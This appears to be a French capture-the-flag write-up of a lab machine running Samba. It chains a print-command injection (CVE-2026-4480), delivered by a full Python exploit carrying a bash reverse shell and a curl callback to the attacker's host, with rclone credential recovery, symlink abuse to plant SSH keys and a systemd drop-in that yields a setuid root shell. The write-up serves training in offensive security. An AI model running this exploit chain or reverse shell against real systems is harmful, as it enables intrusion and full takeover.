1. Enumération
Nmap révèle deux services : SSH et Samba. Pas de service web. L'énumération anonyme des shares Samba expose un printer HP-Reception accessible en guest, deux shares disque (projects, transfer) qui rejettent les connexions anonymes, et l'IPC standard.
Scan
nmap -sVC --open -Pn 10.129.28.173
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
139/tcp open netbios-ssn Samba smbd 4
445/tcp open netbios-ssn Samba smbd 4Shares SMB (anonyme)
smbclient -L //10.129.28.173 -N
HP-Reception Printer Reception printer
projects Disk Hartley Group Project Files
transfer Disk Staff file transfer
IPC$ IPC IPC Service (Hartley Group Document Services)Le share printer HP-Reception est le seul accessible sans credentials - c'est le vecteur d'entrée.
2. Foothold - CVE-2026-4480
CVE-2026-4480 est une injection de commande dans le print subsystem de Samba. Quand un job se termine, Samba exécute la commande print command configurée via system(), en substituant %J par le nom du document et %s par le chemin du fichier spool. Aucun échappement n'est appliqué sur %J - c'est le client qui le contrôle.
La commande configurée ici est /usr/local/bin/printaudit %J %s. Avec document_name = "|sh", cela donne :
Commande exécutée côté serveur
/usr/local/bin/printaudit | sh <spoolfile>Le fichier spool est exécuté comme un script shell. Le corps du spool, c'est ce qu'on envoie via WritePrinter - aucune restriction.
La subtilité : smbclient et smbspool sanitisent les métacaractères shell en _ avant qu'ils n'atteignent le %J. Pour injecter des caractères utiles, il faut parler directement au pipe RPC \pipe\spoolss - c'est exactement ce que font les bindings Python Samba.
Vérification OOB
Avant le reverse shell, confirmation d'exécution via un callback HTTP. On monte un serveur Python et on envoie un job avec curl dans le corps du spool :
Callback HTTP
DATA = b"curl -s http://10.10.17.156:8080/pwned &
"
# Résultat sur le serveur HTTP :
# 10.129.28.173 - "GET /pwned HTTP/1.1" 404 - ← RCE confirméExploit
exploit.py
from samba.dcerpc import spoolss
from samba.param import LoadParm
from samba.credentials import Credentials
RHOST, LHOST, LPORT = "10.129.28.173", "10.10.17.156", 4444
DATA = ("bash -c 'bash -i >& /dev/tcp/%s/%d 0>&1' &\n" % (LHOST, LPORT)).encode()
lp = LoadParm(); lp.load_default()
creds = Credentials(); creds.guess(lp); creds.set_anonymous()
iface = spoolss.spoolss(r"ncacn_np:%s[\pipe\spoolss]" % RHOST, lp, creds)
h = iface.OpenPrinter("\\\\%s\\HP-Reception" % RHOST, "",
spoolss.DevmodeContainer(), 0x00000008)
il = spoolss.DocumentInfo1()
il.document_name = "|sh" # --> %J --> injection shell
il.output_file = None
il.datatype = "RAW"
ctr = spoolss.DocumentInfoCtr(); ctr.level = 1; ctr.info = il
iface.StartDocPrinter(h, ctr)
iface.StartPagePrinter(h)
iface.WritePrinter(h, DATA, len(DATA))
iface.EndPagePrinter(h)
iface.EndDocPrinter(h) # déclenche l'exécution
iface.ClosePrinter(h)Résultat
connect to [10.10.17.156] from (UNKNOWN) [10.129.28.173] 55882
nobody@abducted:/var/spool/samba$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)3. nobody -> scott : rclone credentials
Enumération du système depuis le shell nobody. Un répertoire de backup hors-site est configuré dans /opt/offsite-backup/ et le fichier rclone.conf est world-readable.
/opt/offsite-backup/rclone.conf
[offsite]
type = sftp
host = backup.hartley-group.internal
user = svc-backup
pass = HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
shell_type = unixrclone n'encrypte pas les mots de passe - il les obscurcit en base64 réversible, et l'outil lui-même peut les déchiffrer :
Décodage
rclone reveal HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
# → iXzvcib3SrpZLe mot de passe est réutilisé pour le compte scott en SSH :
SSH scott
ssh scott@10.129.28.173 # password: iXzvcib3SrpZ
uid=1000(scott) gid=1001(scott) groups=1001(scott)User flag
••••••••••••••••••••••••••••••••Cliquer pour afficher4. scott -> marcus : force user + wide links
La configuration du share transfer contient deux paramètres clés :
/etc/samba/shares.conf (extrait)
[transfer]
path = /srv/transfer
valid users = scott
force user = marcus
read only = no
wide links = yes
browseable = yes/etc/samba/smb.conf (global)
unix extensions = no
allow insecure wide links = yesforce user = marcus : toute opération fichier via ce share s'exécute sous l'identité marcus, indépendamment du compte authentifié. wide links = yes couplé à allow insecure wide links : Samba suit les symlinks même s'ils sortent de l'arborescence du share.
Scott est propriétaire de /srv/transfer. Il peut y planter un symlink vers le home de marcus, puis écrire via smbclient - les fichiers créés appartiendront à marcus.
Génération clé SSH + symlink
ssh-keygen -q -t ed25519 -N '' -f /tmp/k
# Symlink /srv/transfer/mh -> /home/marcus
ssh scott@10.129.28.173 'ln -sfn /home/marcus /srv/transfer/mh'Dépôt authorized_keys via smbclient
smbclient //10.129.28.173/transfer -U 'scott%iXzvcib3SrpZ' \
-c 'mkdir mh/.ssh; put /tmp/k.pub mh/.ssh/authorized_keys'
# putting file k.pub as mh.sshauthorized_keysSSH marcus
ssh -i /tmp/k marcus@10.129.28.173
uid=1001(marcus) gid=1002(marcus) groups=1002(marcus),1000(operators)5. marcus -> root : drop-in systemd + polkit
Marcus est membre du groupe operators. Enumération de ce que ce groupe peut modifier :
Répertoire drop-in smbd
ls -ld /etc/systemd/system/smbd.service.d/
drwxrws--- 2 root operators 4096 /etc/systemd/system/smbd.service.d/Le bit s (setgid) et les droits w pour operators : marcus peut créer des fichiers .conf dans ce répertoire. Tout *.conf dans un .service.d/ est un systemd drop-in - fusionné avec le service au prochain rechargement. smbd tourne en root, donc un ExecStartPre s'exécute en root.
Il reste un problème : écrire le drop-in est inutile si on ne peut pas recharger et redémarrer le service. Vérification des actions polkit disponibles sans authentification :
Enumération polkit
for action in $(pkaction); do
pkcheck --action-id "$action" --process $$ 2>/dev/null && echo "ALLOWED: $action"
done
ALLOWED: org.freedesktop.systemd1.reload-daemon
# + règle conditionnelle sur smbd.service :
# systemctl restart smbd → autorisé sans mot de passeLes deux conditions sont réunies : écriture du drop-in + restart autorisé. Le drop-in copie bash avec le bit setuid root avant que smbd ne démarre :
Drop-in systemd
cat > /etc/systemd/system/smbd.service.d/override.conf <<'EOF'
[Service]
ExecStartPre=/bin/cp /bin/bash /tmp/.rb
ExecStartPre=/bin/chmod 4755 /tmp/.rb
EOF
systemctl daemon-reload
systemctl restart smbdRésultat
ls -la /tmp/.rb
-rwsr-xr-x 1 root root 1446024 /tmp/.rb
/tmp/.rb -p -c 'id'
uid=1001(marcus) gid=1002(marcus) euid=0(root) groups=1002(marcus),1000(operators)Root flag
••••••••••••••••••••••••••••••••Cliquer pour afficherRécap
- Recon : SSH + Samba, share printer HP-Reception accessible en guest
- CVE-2026-4480 : pipe spoolss direct,
document_name="|sh", corps du spool = reverse shell → nobody - rclone.conf world-readable,
rclone reveal→iXzvcib3SrpZréutilisé SSH → scott - SMB transfer :
force user=marcus+wide links, symlink + authorized_keys → marcus - Groupe operators : drop-in smbd.service.d + polkit autorise restart → setuid bash → root